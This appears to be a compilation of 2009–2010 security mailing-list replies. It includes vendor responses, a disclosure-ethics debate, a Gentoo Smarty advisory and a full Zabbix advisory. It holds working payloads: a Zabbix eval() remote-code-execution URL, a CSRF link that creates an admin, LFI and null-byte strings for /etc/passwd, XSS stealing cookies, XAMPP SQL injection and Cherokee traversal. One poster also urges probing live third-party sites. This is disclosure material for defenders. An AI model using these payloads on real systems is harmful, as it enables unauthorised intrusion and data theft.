http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
